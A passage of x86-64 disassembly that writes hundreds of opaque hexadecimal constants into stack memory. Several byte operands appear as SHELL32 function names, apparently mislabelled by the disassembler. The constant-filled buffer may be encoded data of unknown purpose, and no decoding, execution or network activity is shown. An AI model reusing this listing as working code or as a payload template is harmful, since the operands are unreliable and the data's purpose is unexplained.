movabs rax, 0xb71bd7bad24c1e9a
mov qword [rsp + 0xb350], rax
movabs rax, 0xf454c55802c7f0e
mov qword [rsp + 0xb358], rax
mov eax, 0x2d7d
mov word [rsp + 0xf60], ax
movabs rax, 0x568a97d9613cf94f
mov qword [rsp + 0xb360], rax
mov byte [rsp + 0xa2], 0x6d
mov dword [rsp + 0x5084], 0x4cb90b78
mov dword [rsp + 0x5088], 0x67511930
mov byte [rsp + 0xa3], 0x32
mov dword [rsp + 0x508c], 0xc033f248
mov byte [rsp + 0xa4], 0x40
movabs rax, 0xc64beb3173de2a07
mov qword [rsp + 0xb368], rax
movabs rax, 0x576a4220c1900b36
mov qword [rsp + 0xb370], rax
mov byte [rsp + 0xa5], 0x4d
mov dword [rsp + 0x5090], 0x2f854da5
mov eax, 0x9fa
mov word [rsp + 0xf64], ax
movabs rax, 0x2b901f3690e49520
mov qword [rsp + 0xb378], rax
mov dword [rsp + 0x5094], 0xb3f69ea1
movabs rax, 0x60e1c8dbbde013d
mov qword [rsp + 0xb380], rax
movabs rax, 0x9a80444e62090adc
mov qword [rsp + 0xb388], rax
mov eax, 0x6faf
mov word [rsp + 0xf68], ax
mov eax, 0x979
mov word [rsp + 0xf6c], ax
movabs rax, 0xde854ec4f79c4c8
mov qword [rsp + 0xb390], rax
mov eax, 0x638c
mov word [rsp + 0xf70], ax
mov byte [rsp + 0xa6], 0x62
mov byte [rsp + 0xa7], 7
movabs rax, 0xaac1937de9694b52
mov qword [rsp + 0xb398], rax
movabs rax, 0x7fe4b087e92f4853
mov qword [rsp + 0xb3a0], rax
mov eax, 0x239e
mov word [rsp + 0xf74], ax
mov eax, 0x7a17
mov word [rsp + 0xf78], ax
mov byte [rsp + 0xa8], 0x31
mov byte [rsp + 0xa9], 0x87
mov byte [rsp + 0xaa], 0x41
mov dword [rsp + 0x5098], 0x42486f65
movabs rax, 0xa249f433ab3ec1a2
mov qword [rsp + 0xb3a8], rax
movabs rax, 0x5036cf0de2bba7cb
mov qword [rsp + 0xb3b0], rax
mov dword [rsp + 0x509c], 0x500fa81b
mov byte [rsp + 0xab], 5
mov byte [rsp + 0xac], 0x2b
mov eax, 0x42f7
mov word [rsp + 0xf7c], ax
movabs rax, 0x9bc48c583cd3e4ba
mov qword [rsp + 0xb3b8], rax
movabs rax, 0xb8321e0cae05341b
mov qword [rsp + 0xb3c0], rax
movabs rax, 0x4e3f12f52f859036
mov qword [rsp + 0xb3c8], rax
mov dword [rsp + 0x50a0], 0x7575841e
mov eax, 0x651
mov word [rsp + 0xf80], ax
movabs rax, 0x91cf2b1f442354a8
mov qword [rsp + 0xb3d0], rax
movabs rax, 0x3cdbc55ce98ce5dc
mov qword [rsp + 0xb3d8], rax
movabs rax, 0x30c8fe2a06120e86
mov qword [rsp + 0xb3e0], rax
mov eax, 0x4fd2
mov word [rsp + 0xf84], ax
mov dword [rsp + 0x50a4], 0x3dbfbb3b
mov byte [rsp + 0xad], 0xab
mov byte [rsp + 0xae], 0x34
movabs rax, 0xfaaba7526b44e7bd
mov qword [rsp + 0xb3e8], rax
movabs rax, 0x1ff56a7046f11633
mov qword [rsp + 0xb3f0], rax
movabs rax, 0x7f10609f9bf46c93
mov qword [rsp + 0xb3f8], rax
movabs rax, 0x464616892ddf6ba7
mov qword [rsp + 0xb400], rax
movabs rax, 0x1bf9e84cef4683f3
mov qword [rsp + 0xb408], rax
mov byte [rsp + 0xaf], PathYetAnotherMakeUniqueName
mov eax, 0x346
mov word [rsp + 0xf88], ax
movabs rax, 0xde9d89812ad861ae
mov qword [rsp + 0xb410], rax
mov eax, 0x169
mov word [rsp + 0xf8c], ax
mov eax, 0x364a
mov word [rsp + 0xf90], ax
mov eax, 0x599b
mov word [rsp + 0xf94], ax
mov byte [rsp + 0xb0], reloc.SHELL32.dll_ILAppendID
mov dword [rsp + 0x50a8], 0x418dc6ea
movabs rax, 0x317f7328651f404c
mov qword [rsp + 0xb418], rax
mov dword [rsp + 0x50ac], 0x308a2f98
movabs rax, 0x24fc193c33f8685
mov qword [rsp + 0xb420], rax
movabs rax, 0x20e92f5eadb4b512
mov qword [rsp + 0xb428], rax
movabs rax, 0x6ab46e8e19f008b
mov qword [rsp + 0xb430], rax
movabs rax, 0x756f5b5dcf76f54
mov qword [rsp + 0xb438], rax
mov dword [rsp + 0x50b0], 0x560d2c79
mov byte [rsp + 0xb1], ILCombine
mov eax, 0x6575
mov word [rsp + 0xf98], ax
movabs rax, 0x439622061002cb61
mov qword [rsp + 0xb440], rax
mov dword [rsp + 0x50b4], 0x28b9a29c
movabs rax, 0xcbf57220d11a5ef3
mov qword [rsp + 0xb448], rax
mov eax, 0x3e8f
mov word [rsp + 0xf9c], ax
mov eax, 0x4c0
mov word [rsp + 0xfa0], ax
mov eax, 0xce5
mov word [rsp + 0xfa4], ax
movabs rax, 0xda072a7dd320e16f
mov qword [rsp + 0xb450], rax
movabs rax, 0x4351c09dff848d0b
mov qword [rsp + 0xb458], rax
mov eax, 0x2b9d
mov word [rsp + 0xfa8], ax
mov byte [rsp + 0xb2], PathYetAnotherMakeUniqueName
mov byte [rsp + 0xb3], 0xf8
mov byte [rsp + 0xb4], 0xf3
movabs rax, 0x5c71c4fb184baee2
mov qword [rsp + 0xb460], rax
mov eax, 0x5439
mov word [rsp + 0xfac], ax
movabs rax, 0xa6609097a46dce0d
mov qword [rsp + 0xb468], rax
mov dword [rsp + 0x50b8], 0x3c045dd1
movabs rax, 0x16a6e9354052ec76
mov qword [rsp + 0xb470], rax
mov dword [rsp + 0x50bc], 0x60e67f67
movabs rax, 0x3de95065deceef63
mov qword [rsp + 0xb478], rax
mov eax, 0x41b9
mov word [rsp + 0xfb0], ax
mov eax, 0x8c9
mov word [rsp + 0xfb4], ax
mov eax, 0x1554
mov word [rsp + 0xfb8], ax
mov eax, 0x925
mov word [rsp + 0xfbc], ax
mov eax, 0x41d
mov word [rsp + 0xfc0], ax
mov byte [rsp + 0xb5], 0x7a
mov byte [rsp + 0xb6], 0x71
mov eax, 0x4e71
mov word [rsp + 0xfc4], ax
mov eax, 0x35de
mov word [rsp + 0xfc8], ax
mov byte [rsp + 0xb7], 0x5b
mov eax, 0x4c33
mov word [rsp + 0xfcc], ax
mov byte [rsp + 0xb8], 0xa
mov dword [rsp + 0x50c0], 0x5b85439a
mov byte [rsp + 0xb9], 0x83
mov dword [rsp + 0x50c4], 0x53aeb241
mov byte [rsp + 0xba], 0x2a
mov eax, 0x5fad
mov word [rsp + 0xfd0], ax
movabs rax, 0x1ba4be259986288c
mov qword [rsp + 0xb480], rax
mov eax, 0x7d32
mov word [rsp + 0xfd4], ax
mov byte [rsp + 0xbb], 0x39
mov eax, 0x6eb
mov word [rsp + 0xfd8], ax
mov eax, 0x5909
mov word [rsp + 0xfdc], ax
movabs rax, 0x9dc471cf063305ac
mov qword [rsp + 0xb488], rax
movabs rax, 0x16cd8b9b9e51b70f
mov qword [rsp + 0xb490], rax
mov byte [rsp + 0xbc], 0x23
mov dword [rsp + 0x50c8], 0xed6b0606
mov eax, 0x6dcd
mov word [rsp + 0xfe0], ax
movabs rax, 0xe3c8a4fa669be912
mov qword [rsp + 0xb498], rax
mov eax, 0x395c
mov word [rsp + 0xfe4], ax
mov dword [rsp + 0x50cc], 0xeb001d5c
mov byte [rsp + 0xbd], 0x6c
mov eax, 0x9af
mov word [rsp + 0xfe8], ax
movabs rax, 0x7cd018604c6af5f8
mov qword [rsp + 0xb4a0], rax
movabs rax, 0x5eae16009d04d6f5
mov qword [rsp + 0xb4a8], rax
mov dword [rsp + 0x50d0], 0x6615c60e
mov byte [rsp + 0xbe], 0xd3
mov dword [rsp + 0x50d4], 0x484af7de
movabs rax, 0x4eb5008fea9add48
mov qword [rsp + 0xb4b0], rax
mov eax, 0x6e8
mov word [rsp + 0xfec], ax
mov byte [rsp + 0xbf], 0x63
mov eax, 0x2f8
mov word [rsp + 0xff0], ax
mov eax, 0x362
mov word [rsp + 0xff4], ax
mov byte [rsp + 0xc0], 0x71
movabs rax, 0xbf085b643798d1b1
mov qword [rsp + 0xb4b8], rax
mov dword [rsp + 0x50d8], 0x34b2ffca
mov dword [rsp + 0x50dc], 0xcd54006c
mov byte [rsp + 0xc1], 0x75
movabs rax, 0x61decd7d13f66823
mov qword [rsp + 0xb4c0], rax
movabs rax, 0x77bfc73844d4f413
mov qword [rsp + 0xb4c8], rax
mov dword [rsp + 0x50e0], 0x78d1338b
movabs rax, 0x171168e9eb6a8cc4
mov qword [rsp + 0xb4d0], rax
movabs rax, 0x77e090fb41ab96d9
mov qword [rsp + 0xb4d8], rax
mov dword [rsp + 0x50e4], 0x63f8b96
mov byte [rsp + 0xc2], 0x2f
mov eax, 0x35be
mov word [rsp + 0xff8], ax
mov byte [rsp + 0xc3], 0x4e
mov eax, 0x6d51
mov word [rsp + 0xffc], ax
movabs rax, 0x1b05f36480e9ee95
mov qword [rsp + 0xb4e0], rax
movabs rax, 0x7efdfaf6e6167bb5
mov qword [rsp + 0xb4e8], rax
movabs rax, 0xba81d37ba864d5f2
mov qword [rsp + 0xb4f0], rax
mov byte [rsp + 0xc4], PathYetAnotherMakeUniqueName
mov byte [rsp + 0xc5], 0xea
mov dword [rsp + 0x50e8], 0x6238e3fd
movabs rax, 0x77a4434dd01517c9
mov qword [rsp + 0xb4f8], rax
movabs rax, 0xd5f1a70aec5094f9
mov qword [rsp + 0xb500], rax
mov dword [rsp + 0x50ec], 0xea2ec2a
mov eax, 0x684
mov word [rsp + 0x1000], ax
movabs rax, 0x9918c84d17798295
mov qword [rsp + 0xb508], rax
mov dword [rsp + 0x50f0], 0x164fcec8
mov byte [rsp + 0xc6], 0x81
mov byte [rsp + 0xc7], reloc.SHELL32.dll_ILFindChild
mov eax, 0xcee
mov word [rsp + 0x1004], ax
mov byte [rsp + 0xc8], 0x53
mov dword [rsp + 0x50f4], 0x38555993
mov byte [rsp + 0xc9], 0x1f
mov byte [rsp + 0xca], 0xf9
mov dword [rsp + 0x50f8], 0x48d9c7d0
mov eax, 0xad1
mov word [rsp + 0x1008], ax
mov eax, 0x2be7
mov word [rsp + 0x100c], ax
mov dword [rsp + 0x50fc], 0xbb9612a1
mov eax, 0x663
mov word [rsp + 0x1010], ax
mov byte [rsp + 0xcb], 0x32
movabs rax, 0x320b90c5b39221c2
mov qword [rsp + 0xb510], rax
mov eax, 0xbf9
mov word [rsp + 0x1014], ax
mov byte [rsp + 0xcc], 0x6b
movabs rax, 0x61f5534d4d95e4ad
mov qword [rsp + 0xb518], rax
mov dword [rsp + 0x5100], 0x70988fa1
mov dword [rsp + 0x5104], 0xcf9ab02
mov eax, 0xb01
mov word [rsp + 0x1018], ax
mov dword [rsp + 0x5108], 0xd86ffcf7
mov eax, 0x5cd
mov word [rsp + 0x101c], ax
mov eax, 0xab5
mov word [rsp + 0x1020], ax
mov eax, 0x1439
mov word [rsp + 0x1024], ax
mov byte [rsp + 0xcd], 0xda
mov eax, 0x54f
mov word [rsp + 0x1028], ax
mov byte [rsp + 0xce], reloc.SHELL32.dll_ILCreateFromPathW
mov dword [rsp + 0x510c], 0x63d22708
mov eax, 0x4b7e
mov word [rsp + 0x102c], ax
mov eax, 0x756
mov word [rsp + 0x1030], ax
movabs rax, 0x3c816efaf8e31306
mov qword [rsp + 0xb520], rax
mov byte [rsp + 0xcf], 0x69
mov dword [rsp + 0x5110], 0xb1bb2534
mov eax, 0xfb
mov word [rsp + 0x1034], ax
mov byte [rsp + 0xd0], 0x42
mov eax, 0x71cb
mov word [rsp + 0x1038], ax
mov dword [rsp + 0x5114], 0xb283f914
mov eax, 0x69d2
mov word [rsp + 0x103c], ax
mov eax, 0xaa3
mov word [rsp + 0x1040], ax
movabs rax, 0x86b669479679caa7
mov qword [rsp + 0xb528], rax
mov dword [rsp + 0x5118], 0x64cd8e8c
mov dword [rsp + 0x511c], 0xb21d2edb
mov eax, 0x8a5
mov word [rsp + 0x1044], ax
mov byte [rsp + 0xd1], 0xb5
movabs rax, 0x39a9bf169bca614d
mov qword [rsp + 0xb530], rax
mov dword [rsp + 0x5120], 0x2c4a8dd2
mov byte [rsp + 0xd2], 0xdd
mov byte [rsp + 0xd3], reloc.SHELL32.dll_PathYetAnotherMakeUniqueName
mov dword [rsp + 0x5124], 0x153e8dd1
mov byte [rsp + 0xd4], 0x7a
mov dword [rsp + 0x5128], 0x8347b847
mov byte [rsp + 0xd5], SHGetNewLinkInfoW
mov byte [rsp + 0xd6], 0x42
mov dword [rsp + 0x512c], 0xb7d522c2
mov eax, 0x1844
mov word [rsp + 0x1048], ax
mov byte [rsp + 0xd7], PathYetAnotherMakeUniqueName
mov eax, 0xf44
mov word [rsp + 0x104c], ax
mov byte [rsp + 0xd8], 0x26
mov eax, 0x4a48
mov word [rsp + 0x1050], ax
mov dword [rsp + 0x5130], 0x5ae7a3fe
mov eax, 0x58e6
mov word [rsp + 0x1054], ax
movabs rax, 0x11c59f4161853417
mov qword [rsp + 0xb538], rax
mov eax, 0xf95
mov word [rsp + 0x1058], ax
mov eax, 0x5e2
mov word [rsp + 0x105c], ax
mov eax, 0x7c9
mov word [rsp + 0x1060], ax
mov dword [rsp + 0x5134], 0x41d2d959
movabs rax, 0xb68f86935a3cf64
mov qword [rsp + 0xb540], rax
mov eax, 0x47d8
mov word [rsp + 0x1064], ax
mov eax, 0x3db
mov word [rsp + 0x1068], ax
movabs rax, 0x554ae4502cc43abe
mov qword [rsp + 0xb548], rax
movabs rax, 0x95c49a0908eb094
mov qword [rsp + 0xb550], rax
mov dword [rsp + 0x5138], 0xe6dbe2fe
movabs rax, 0x7ecea95a51ee1835
mov qword [rsp + 0xb558], rax
mov eax, 0x395
mov word [rsp + 0x106c], ax
movabs rax, 0xb0d2f9abdb414018
mov qword [rsp + 0xb560], rax
mov eax, 0x862
mov word [rsp + 0x1070], ax
mov dword [rsp + 0x513c], 0x88c485ff
mov byte [rsp + 0xd9], 0x52
mov byte [rsp + 0xda], SHGetNewLinkInfoW
mov byte [rsp + 0xdb], SHGetNewLinkInfoW
movabs rax, 0x37b78fc2c4433efb
mov qword [rsp + 0xb568], rax
movabs rax, 0x2a758d642850a92e
mov qword [rsp + 0xb570], rax
mov dword [rsp + 0x5140], 0x131d709e
mov eax, 0x7920
mov word [rsp + 0x1074], ax
movabs rax, 0x7281452943dd3e8d
mov qword [rsp + 0xb578], rax
mov eax, 0x4b7d
mov word [rsp + 0x1078], ax
mov byte [rsp + 0xdc], 0x59
mov byte [rsp + 0xdd], 0x53
mov eax, 0xa7f
mov word [rsp + 0x107c], ax
mov eax, 0x536b
mov word [rsp + 0x1080], ax
mov eax, 0xb49
mov word [rsp + 0x1084], ax
mov byte [rsp + 0xde], 0x79
mov eax, 0x2a7
mov word [rsp + 0x1088], ax
mov byte [rsp + 0xdf], ILGetNext
mov dword [rsp + 0x5144], 0x87391297
mov eax, 0x3cda
mov word [rsp + 0x108c], ax
mov dword [rsp + 0x5148], 0xfc203247
movabs rax, 0x1dfeddf977d4e1d9
mov qword [rsp + 0xb580], rax
mov dword [rsp + 0x514c], 0x6791f3da
mov byte [rsp + 0xe0], 0x74
mov byte [rsp + 0xe1], 0x65
mov byte [rsp + 0xe2], 7
mov byte [rsp + 0xe3], 0xfc
mov byte [rsp + 0xe4], 0x5d
movabs rax, 0x70d4cadd1a9b5246
mov qword [rsp + 0xb588], rax
mov byte [rsp + 0xe5], 8
mov dword [rsp + 0x5150], 0x6c0caa47
movabs rax, 0x17e92afcb6f05457
mov qword [rsp + 0xb590], rax
movabs rax, 0x47b5813f00f81b6a
mov qword [rsp + 0xb598], rax
mov dword [rsp + 0x5154], 0x60e7e84f
movabs rax, 0x25c5c3c7e2e66e6
mov qword [rsp + 0xb5a0], rax
mov byte [rsp + 0xe6], reloc.SHELL32.dll_ILIsEqual
movabs rax, 0xfe8389fe66623e7d
mov qword [rsp + 0xb5a8], rax
mov eax, 0x3979
mov word [rsp + 0x1090], ax
movabs rax, 0x90dfbb344663a223
mov qword [rsp + 0xb5b0], rax
mov dword [rsp + 0x5158], 0x1d3a623c
mov byte [rsp + 0xe7], 0x2b
mov dword [rsp + 0x515c], 0xff7039f3
mov byte [rsp + 0xe8], 0x2c
mov byte [rsp + 0xe9], 0x30
movabs rax, 0x15831577eb0b5fb2
mov qword [rsp + 0xb5b8], rax
mov byte [rsp + 0xea], 0xd9
movabs rax, 0xb8791d8aa5f88940
mov qword [rsp + 0xb5c0], rax
movabs rax, 0x7ac7df3cc03243d5
mov qword [rsp + 0xb5c8], rax
mov byte [rsp + 0xeb], 0x31
movabs rax, 0xa5610a6e00b75624
mov qword [rsp + 0xb5d0], rax
mov eax, 0x906
mov word [rsp + 0x1094], ax
movabs rax, 0x9b8114ba8048a9d7
mov qword [rsp + 0xb5d8], rax
movabs rax, 0x5191c0a0405f7f5
mov qword [rsp + 0xb5e0], rax
movabs rax, 0xbd01b08252a7f281
mov qword [rsp + 0xb5e8], rax
mov dword [rsp + 0x5160], 0xbace838c
mov dword [rsp + 0x5164], 0x66ddf916
mov byte [rsp + 0xec], 0x26
movabs rax, 0x7db60c9895ad98d5
mov qword [rsp + 0xb5f0], rax
movabs rax, 0x5d1509e8f93b64e3
mov qword [rsp + 0xb5f8], rax
mov dword [rsp + 0x5168], 0x35bc96d3
mov byte [rsp + 0xed], 0xe3
mov dword [rsp + 0x516c], 0x704691c
mov eax, 0xb21
mov word [rsp + 0x1098], ax
mov dword [rsp + 0x5170], 0xac2473df
mov byte [rsp + 0xee], 0xda
mov byte [rsp + 0xef], 0x25
mov byte [rsp + 0xf0], 0x5c
mov dword [rsp + 0x5174], 0x3aa6ccc
mov byte [rsp + 0xf1], 5
mov dword [rsp + 0x5178], 0x3516bf96
mov eax, 0x4d70
mov word [rsp + 0x109c], ax
mov eax, 0xc6a
mov word [rsp + 0x10a0], ax
mov eax, 0x15f1
mov word [rsp + 0x10a4], ax
movabs rax, 0x2c73ce90f249c48e
mov qword [rsp + 0xb600], rax
movabs rax, 0x3fa196da57a5429d
mov qword [rsp + 0xb608], rax
mov byte [rsp + 0xf2], ILCloneFirst
mov byte [rsp + 0xf3], 0x7c
mov dword [rsp + 0x517c], 0xf36419a9
mov byte [rsp + 0xf4], PathYetAnotherMakeUniqueName
mov dword [rsp + 0x5180], 0xf40a2f5
mov eax, 0x1f5d
mov word [rsp + 0x10a8], ax
mov eax, 0xceb
mov word [rsp + 0x10ac], ax
mov eax, 0x6ccb
mov word [rsp + 0x10b0], ax
movabs rax, 0x1e045a3b09555b46
mov qword [rsp + 0xb610], rax
mov dword [rsp + 0x5184], 0xf3d19b65
movabs rax, 0x4fb198e4ad6aed79
mov qword [rsp + 0xb618], rax
movabs rax, 0xcb9bb25cfde2b6f
mov qword [rsp + 0xb620], rax
mov byte [rsp + 0xf5], 0x2a
mov byte [rsp + 0xf6], ILCloneFirst
movabs rax, 0xcb1f63e709800106
mov qword [rsp + 0xb628], rax
mov byte [rsp + 0xf7], 0x68
mov dword [rsp + 0x5188], 0xdb2baa4
mov eax, 0xb38
mov word [rsp + 0x10b4], ax
mov byte [rsp + 0xf8], 0x86
mov byte [rsp + 0xf9], 0x56
mov byte [rsp + 0xfa], 0x1e
mov dword [rsp + 0x518c], 0x44ea6f69
movabs rax, 0x4c8fedf2a100316
mov qword [rsp + 0xb630], rax
movabs rax, 0xa77ef9fdbe28102a
mov qword [rsp + 0xb638], rax
mov byte [rsp + 0xfb], 0x7d
movabs rax, 0x40c2a786e91ec84e
mov qword [rsp + 0xb640], rax
mov byte [rsp + 0xfc], 0xed
mov eax, 0x741
mov word [rsp + 0x10b8], ax
mov eax, 0xed1
mov word [rsp + 0x10bc], ax
mov eax, 0xa8f
mov word [rsp + 0x10c0], ax
mov dword [rsp + 0x5190], 0x496b0ec1
mov byte [rsp + 0xfd], ILCombine
mov dword [rsp + 0x5194], 0x6c75c398
mov dword [rsp + 0x5198], 0x1b3d6d0b
mov byte [rsp + 0xfe], reloc.SHELL32.dll_ILFindChild
movabs rax, 0x9fec39a35f335394
mov qword [rsp + 0xb648], rax
movabs rax, 0x878b97286d9ee538
mov qword [rsp + 0xb650], rax
mov dword [rsp + 0x519c], 0x30bf14e9
mov dword [rsp + 0x51a0], 0x9d5d2442
mov byte [rsp + 0xff], 0x29
mov eax, 0x45bd
mov word [rsp + 0x10c4], ax
movabs rax, 0x1769798ad77b38c1
mov qword [rsp + 0xb658], rax
movabs rax, 0x632a5c6ee2be4778
mov qword [rsp + 0xb660], rax
mov byte [rsp + 0x100], 3
mov byte [rsp + 0x101], 0x20
mov dword [rsp + 0x51a4], 0x3580eecd
movabs rax, 0xfd6da46217955fb
mov qword [rsp + 0xb668], rax
mov dword [rsp + 0x51a8], 0x4f05a2b5
movabs rax, 0x4664634a1f9c121
mov qword [rsp + 0xb670], rax
movabs rax, 0x1d8b8dc9b8cda01e
mov qword [rsp + 0xb678], rax
mov dword [rsp + 0x51ac], 0x2f74270e
movabs rax, 0xc41e4a01c9ef9507
mov qword [rsp + 0xb680], rax
mov eax, 0x7d42
mov word [rsp + 0x10c8], ax
mov eax, 0x26e
mov word [rsp + 0x10cc], ax
mov dword [rsp + 0x51b0], 0xf4f9f1af
mov dword [rsp + 0x51b4], 0x4f3118aa
movabs rax, 0x9001cfbc28b999a9
mov qword [rsp + 0xb688], rax
mov byte [rsp + 0x102], 0xfd
mov byte [rsp + 0x103], 0x5d
mov dword [rsp + 0x51b8], 0x4efc4be1
mov dword [rsp + 0x51bc], 0xbee75aac
mov dword [rsp + 0x51c0], 0xb95f304b
mov eax, 0xda1
mov word [rsp + 0x10d0], ax
mov dword [rsp + 0x51c4], 0x261e6538
mov byte [rsp + 0x104], 0x4c
movabs rax, 0x75fca21b8037d8cf
mov qword [rsp + 0xb690], rax
movabs rax, 0xcb32a1c7f83dc2f3
mov qword [rsp + 0xb698], rax
mov byte [rsp + 0x105], 0x9c
mov byte [rsp + 0x106], 0x6a
movabs rax, 0xe030d6e291631c34
mov qword [rsp + 0xb6a0], rax
movabs rax, 0x5777d811b9b67e43
mov qword [rsp + 0xb6a8], rax
mov eax, 0x8aa
mov word [rsp + 0x10d4], ax
mov byte [rsp + 0x107], 0x1c
mov dword [rsp + 0x51c8], 0x1466bd33
mov dword [rsp + 0x51cc], 0x36b6cf7a
mov byte [rsp + 0x108], reloc.SHELL32.dll_PathYetAnotherMakeUniqueName
movabs rax, 0x129d02954f4670c4
mov qword [rsp + 0xb6b0], rax
mov dword [rsp + 0x51d0], 0x2098e547
mov dword [rsp + 0x51d4], 0x50d5c592
mov eax, 0x88a
mov word [rsp + 0x10d8], ax
movabs rax, 0x2383cf6680dd3528
mov qword [rsp + 0xb6b8], rax
mov dword [rsp + 0x51d8], 0x5e7ef38f
movabs rax, 0x82aa7bcbf1b6ca94
mov qword [rsp + 0xb6c0], rax
movabs rax, 0xab0e0915c759fa46
mov qword [rsp + 0xb6c8], rax
mov eax, 0xf47
mov word [rsp + 0x10dc], ax
mov dword [rsp + 0x51dc], 0xe5c02c2e
mov byte [rsp + 0x109], 0x7d
mov dword [rsp + 0x51e0], 0xa2e8e4a6
mov eax, 0x955
mov word [rsp + 0x10e0], ax
mov dword [rsp + 0x51e4], 0x8f0ab349
mov eax, 0xe7b
mov word [rsp + 0x10e4], ax
mov byte [rsp + 0x10a], 0x39
movabs rax, 0x8f999ded0b0e2615
mov qword [rsp + 0xb6d0], rax
movabs rax, 0xc67a8c0d34a3f6b2
mov qword [rsp + 0xb6d8], rax
mov dword [rsp + 0x51e8], 0x3d57f454
movabs rax, 0x51e8258ce0a59c00
mov qword [rsp + 0xb6e0], rax
mov dword [rsp + 0x51ec], 0x685fcebd
mov dword [rsp + 0x51f0], 0x3f524d5
mov byte [rsp + 0x10b], 0xfb
mov byte [rsp + 0x10c], 0xc3
mov dword [rsp + 0x51f4], 0x498d1c31
mov eax, 0x38ce
mov word [rsp + 0x10e8], ax
mov byte [rsp + 0x10d], PathYetAnotherMakeUniqueName
mov dword [rsp + 0x51f8], 0x100acc42
mov byte [rsp + 0x10e], 0x24
movabs rax, 0x42c3a6503c7015e8
mov qword [rsp + 0xb6e8], rax
mov dword [rsp + 0x51fc], 0x797ca203
mov eax, 0x2745
mov word [rsp + 0x10ec], ax
mov byte [rsp + 0x10f], 0x57
movabs rax, 0x328b67c66eae6dcf
mov qword [rsp + 0xb6f0], rax
mov byte [rsp + 0x110], 0xea
mov eax, 0x56b1
mov word [rsp + 0x10f0], ax
mov byte [rsp + 0x111], 0x75
mov byte [rsp + 0x112], 0xe0
mov dword [rsp + 0x5200], 0x24bf10d
mov eax, 0x6a34
mov word [rsp + 0x10f4], ax
mov dword [rsp + 0x5204], 0xeee3baa8
mov byte [rsp + 0x113], ILCloneFirst
mov dword [rsp + 0x5208], 0x6f76ddc5
movabs rax, 0x156cb84816ef7484
mov qword [rsp + 0xb6f8], rax
movabs rax, 0xc2333e474eed3f12
mov qword [rsp + 0xb700], rax
mov byte [rsp + 0x114], 0x55
mov eax, 0x4b20
mov word [rsp + 0x10f8], ax
mov dword [rsp + 0x520c], 0x78f46e17
mov byte [rsp + 0x115], 0x2d
mov eax, 0xe2e
mov word [rsp + 0x10fc], ax
mov byte [rsp + 0x116], 0x56
mov dword [rsp + 0x5210], 0x30f42b0f
movabs rax, 0x1709d8f355aba4b5
mov qword [rsp + 0xb708], rax
mov eax, 0x613
mov word [rsp + 0x1100], ax
mov eax, 0x5c66
mov word [rsp + 0x1104], ax
mov eax, 0xd65
mov word [rsp + 0x1108], ax
mov dword [rsp + 0x5214], 0xa8aa8055
mov dword [rsp + 0x5218], 0x5985430b
movabs rax, 0x2841f68d49f8c651
mov qword [rsp + 0xb710], rax
mov dword [rsp + 0x521c], 0xe9c829a
mov byte [rsp + 0x117], PathYetAnotherMakeUniqueName
mov dword [rsp + 0x5220], 0x2a6b7a96
movabs rax, 0x6d3595f671f20d2a
mov qword [rsp + 0xb718], rax
mov byte [rsp + 0x118], 0x65
mov dword [rsp + 0x5224], 0x755c9866
mov byte [rsp + 0x119], reloc.SHELL32.dll_ILFindChild
mov eax, 0x9d4
mov word [rsp + 0x110c], ax
mov dword [rsp + 0x5228], 0xdd92b3ec
mov byte [rsp + 0x11a], 0xeb
mov dword [rsp + 0x522c], 0xcb02ec2
mov dword [rsp + 0x5230], 0x4411d8cd
movabs rax, 0x5cd6fc52aee6102d
mov qword [rsp + 0xb720], rax
mov dword [rsp + 0x5234], 0xaef7522f
mov eax, 0xe6f
mov word [rsp + 0x1110], ax
movabs rax, 0x7e4ebcdf738e3269
mov qword [rsp + 0xb728], rax
mov eax, 0x746
mov word [rsp + 0x1114], ax
mov eax, 0x885
mov word [rsp + 0x1118], ax
mov dword [rsp + 0x5238], 0xd2f9639c
mov dword [rsp + 0x523c], 0x61e17b74
movabs rax, 0x4869c4a10f48233e
mov qword [rsp + 0xb730], rax
mov byte [rsp + 0x11b], 0x5f
mov eax, 0x1af6
mov word [rsp + 0x111c], ax
mov eax, 0x7a11
mov word [rsp + 0x1120], ax
mov eax, 0x707
mov word [rsp + 0x1124], ax
mov eax, 0x5e98
mov word [rsp + 0x1128], ax
mov eax, 0x56
mov word [rsp + 0x112c], ax
movabs rax, 0x40b988a5d66f175d
mov qword [rsp + 0xb738], rax
mov eax, 0xdf8
mov word [rsp + 0x1130], ax
mov dword [rsp + 0x5240], 0xb4d4bda
movabs rax, 0x88c8eda39c9fbcc1
mov qword [rsp + 0xb740], rax
mov dword [rsp + 0x5244], 0x197f34e2
movabs rax, 0x5c073c7f681eca40
mov qword [rsp + 0xb748], rax
mov dword [rsp + 0x5248], 0x167ee5dd
mov eax, 0x2a22
mov word [rsp + 0x1134], ax
mov eax, 0x194
mov word [rsp + 0x1138], ax
movabs rax, 0xc2735173645b15ff
mov qword [rsp + 0xb750], rax
movabs rax, 0xf73efa761f4fe49
mov qword [rsp + 0xb758], rax
mov byte [rsp + 0x11c], 0x43
movabs rax, 0x656be7787bc05f9f
mov qword [rsp + 0xb760], rax
movabs rax, 0xb38ed00dfffd1d45
mov qword [rsp + 0xb768], rax
movabs rax, 0x2621757f1b7bf1af
mov qword [rsp + 0xb770], rax
movabs rax, 0x6fb9650a9d5166c6
mov qword [rsp + 0xb778], rax
mov eax, 0xfd6
mov word [rsp + 0x113c], ax
mov byte [rsp + 0x11d], ILSaveToStream
mov dword [rsp + 0x524c], 0x86076480
mov byte [rsp + 0x11e], 8
mov dword [rsp + 0x5250], 0x49b10d27
mov dword [rsp + 0x5254], 0x2ddefa44
movabs rax, 0x1a1a98d65ece4ea2
mov qword [rsp + 0xb780], rax
mov dword [rsp + 0x5258], 0x759aebd4
mov byte [rsp + 0x11f], 0x63
mov dword [rsp + 0x525c], 0x73afe1d7
mov dword [rsp + 0x5260], 0x1677b207
mov byte [rsp + 0x120], ILRemoveLastID
movabs rax, 0x13bb7bce332d3d04
mov qword [rsp + 0xb788], rax
mov byte [rsp + 0x121], PathYetAnotherMakeUniqueName
mov byte [rsp + 0x122], 0x7e
mov eax, 0xa85
mov word [rsp + 0x1140], ax
mov byte [rsp + 0x123], 0x7e
movabs rax, 0x7c3043f65700e061
mov qword [rsp + 0xb790], rax
mov eax, 0x1f05
mov word [rsp + 0x1144], ax
mov dword [rsp + 0x5264], 0xa67e4600
movabs rax, 0x6eee1b374b489dc6
mov qword [rsp + 0xb798], rax
movabs rax, 0x6dbad28602c98537
mov qword [rsp + 0xb7a0], rax
movabs rax, 0x54d3c6cedc1dd710
mov qword [rsp + 0xb7a8], rax
movabs rax, 0x4f586ed569b11b2f
mov qword [rsp + 0xb7b0], rax
movabs rax, 0x3230fb3e521ae074
mov qword [rsp + 0xb7b8], rax
